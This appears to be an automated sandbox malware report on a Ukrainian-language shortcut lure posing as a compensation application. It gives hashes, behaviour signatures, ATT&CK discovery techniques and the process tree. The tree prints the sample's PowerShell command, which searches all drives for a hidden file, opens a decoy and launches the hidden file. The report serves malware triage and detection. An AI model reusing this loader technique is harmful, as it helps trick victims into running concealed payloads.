Analysis

  • max time kernel
    111s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-09-2022 05:57

General

  • Target

    ЗАЯВА-на-отримання-компенсації.lnk

  • Size

    411KB

  • MD5

    c15aa00479cae0a8bae7c926d7fd8ba6

  • SHA1

    9c7c059e617380eb7bf5b5ae41b2874e2cf5111c

  • SHA256

    bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7

  • SHA512

    79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72

  • SSDEEP

    24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\SysWOW64\findstr.exe
        "C:\Windows\system32\findstr.exe" :\
        3⤵
          PID:5032
        • C:\Windows\SysWOW64\findstr.exe
          "C:\Windows\system32\findstr.exe" jfilyg7
          3⤵
            PID:2252
          • C:\Windows\SysWOW64\findstr.exe
            "C:\Windows\system32\findstr.exe" jfilyg7
            3⤵
              PID:4740

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2252-146-0x0000000000000000-mapping.dmp
        • memory/4740-147-0x0000000000000000-mapping.dmp
        • memory/4956-140-0x0000000006E50000-0x0000000006E6A000-memory.dmp
          Filesize

          104KB

        • memory/4956-141-0x0000000006EC0000-0x0000000006EE2000-memory.dmp
          Filesize

          136KB

        • memory/4956-136-0x0000000005080000-0x00000000050E6000-memory.dmp
          Filesize

          408KB

        • memory/4956-137-0x0000000005100000-0x0000000005166000-memory.dmp
          Filesize

          408KB

        • memory/4956-138-0x0000000005DA0000-0x0000000005DBE000-memory.dmp
          Filesize

          120KB

        • memory/4956-139-0x0000000006F30000-0x0000000006FC6000-memory.dmp
          Filesize

          600KB

        • memory/4956-132-0x0000000000000000-mapping.dmp
        • memory/4956-135-0x0000000004EE0000-0x0000000004F02000-memory.dmp
          Filesize

          136KB

        • memory/4956-142-0x0000000007600000-0x0000000007BA4000-memory.dmp
          Filesize

          5.6MB

        • memory/4956-143-0x00000000070A0000-0x00000000070EA000-memory.dmp
          Filesize

          296KB

        • memory/4956-133-0x0000000004A20000-0x0000000004A56000-memory.dmp
          Filesize

          216KB

        • memory/4956-145-0x0000000008230000-0x00000000088AA000-memory.dmp
          Filesize

          6.5MB

        • memory/4956-134-0x0000000005170000-0x0000000005798000-memory.dmp
          Filesize

          6.2MB

        • memory/5032-144-0x0000000000000000-mapping.dmp